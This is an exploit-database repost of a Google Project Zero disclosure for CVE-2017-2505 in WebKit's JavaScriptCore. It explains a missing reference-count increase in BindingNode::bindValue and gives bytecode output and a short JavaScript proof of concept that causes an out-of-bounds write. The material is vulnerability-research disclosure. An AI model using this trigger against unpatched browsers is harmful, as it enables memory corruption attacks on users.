Advertisement






WebKit JSC BindingNode::bindValue Failed Reference Count Increase

CVE Category Price Severity
CVE-2017-2505 CWE-119 $50,000 Critical
Author Risk Exploitation Type Date
Google Project Zero Critical Remote 2017-05-26
CPE
cpe:cpe:/a:apple:webkit
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 0.0901 0.72174

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017050185

Below is a copy:

WebKit JSC BindingNode::bindValue Failed Reference Count Increase WebKit: JSC: BindingNode::bindValue doesn't increase the scope's reference count 

CVE-2017-2505


Here's a snippet of BindingNode::bindValue.

void BindingNode::bindValue(BytecodeGenerator& generator, RegisterID* value) const
{
    ...
    RegisterID* scope = generator.emitResolveScope(nullptr, var);
    generator.emitExpressionInfo(divotEnd(), divotStart(), divotEnd());
    if (m_bindingContext == AssignmentContext::AssignmentExpression)
        generator.emitTDZCheckIfNecessary(var, nullptr, scope);
    if (isReadOnly) {
        generator.emitReadOnlyExceptionIfNeeded(var);
        return;
    }
    generator.emitPutToScope(scope, var, value, generator.isStrictMode() ? ThrowIfNotFound : DoNotThrowIfNotFound, initializationModeForAssignmentContext(m_bindingContext));
    generator.emitProfileType(value, var, divotStart(), divotEnd());
    if (m_bindingContext == AssignmentContext::DeclarationStatement || m_bindingContext == AssignmentContext::ConstDeclarationStatement)
        generator.liftTDZCheckIfPossible(var);
    ...
}

That method uses |scope| without increasing its reference count. Thus, in |emitTDZCheckIfNecessary|, same |RegisterID| might be used.

Generated opcode of the PoC:
[ 124] resolve_scope     loc13, loc3, a(@id4), <ClosureVar>, 0, 0x62d00011f1a0
[ 131] get_from_scope    loc13, loc13, a(@id4), 1050627<DoNotThrowIfNotFound|ClosureVar|NotInitialization>, 0    predicting None
[ 139] op_check_tdz      loc13
[ 141] put_to_scope      loc13, a(@id4), loc12, 1050627<DoNotThrowIfNotFound|ClosureVar|NotInitialization>, <structure>, 0

At 131, loc13 which points the scope is overwritten with |a|.
At 141, |a| is used as a scope, and it causes OOB write.

PoC:
(function () {
    let a = {
        get val() {
            [...{a = 1.45}] = [];
            a.val.x;
        },
    };

    a.val;
})();


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt



Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.